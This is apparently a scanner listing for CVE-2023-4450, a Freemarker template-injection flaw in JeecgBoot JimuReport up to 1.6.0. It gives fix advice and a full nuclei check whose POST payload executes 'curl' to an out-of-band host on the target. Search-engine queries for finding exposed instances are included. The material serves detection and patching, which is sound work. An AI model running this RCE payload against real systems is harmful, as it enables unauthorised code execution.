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CVE-2023-4450· jeecg / jeecg

JeecgBoot JimuReport - Template injection

criticalseverity
11.6%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

A vulnerability was found in jeecgboot JimuReport up to 1.6.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the component Template Handler. The manipulation leads to injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

Impact

Unauthorized api called /jmreport/queryFieldBySql led to remote arbitrary code execution due to parsing SQL statements using Freemarker.

Fix

Upgrading to version 1.6.1 is able to address this issue. It is recommended to upgrade the affected component.

How to confirm it

Send: POST /jeecg-boot/jmreport/queryFieldBySql
Positive when: contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns") and status_code == 200 and contains(content_type,"application/json") and contains(body,"success")

Run it with nuclei: nuclei -id CVE-2023-4450 -u <target>

The full check
id: CVE-2023-4450

info:
  name: JeecgBoot JimuReport - Template injection
  author: Sumanth Vankineni
  severity: critical
  description: |
    A vulnerability was found in jeecgboot JimuReport up to 1.6.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the component Template Handler. The manipulation leads to injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
  impact: |
   Unauthorized api called /jmreport/queryFieldBySql led to remote arbitrary code execution due to parsing SQL statements using Freemarker.
  remediation: |
   Upgrading to version 1.6.1 is able to address this issue. It is recommended to upgrade the affected component.
  reference:
    - https://github.com/advisories/GHSA-j8h5-8rrr-m6j9
    - https://whoopsunix.com/docs/java/named%20module/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4450
  classification:
    epss-score: 0.11595
    epss-percentile: 0.96073
  metadata:
    verified: true
    max-request: 1
    vendor: jeecg
    product: jeecg
    shodan-query:
      - title:"Jeecg-Boot"
      - http.title:"jeecg-boot"
    fofa-query:
      - title="JeecgBoot 企业级低代码平台"
      - title="jeecg-boot"
      - title="jeecgboot 企业级低代码平台"
    google-query: intitle:"jeecg-boot"
  tags: cve,cve2023,rce,jeecgboot,vkev,vuln


http:
  - raw:
      - |
        POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://{{interactsh-url}}\")} ",
          "type": "0"
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")'
          - 'status_code == 200'
          - 'contains(content_type,"application/json")'
          - 'contains(body,"success")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from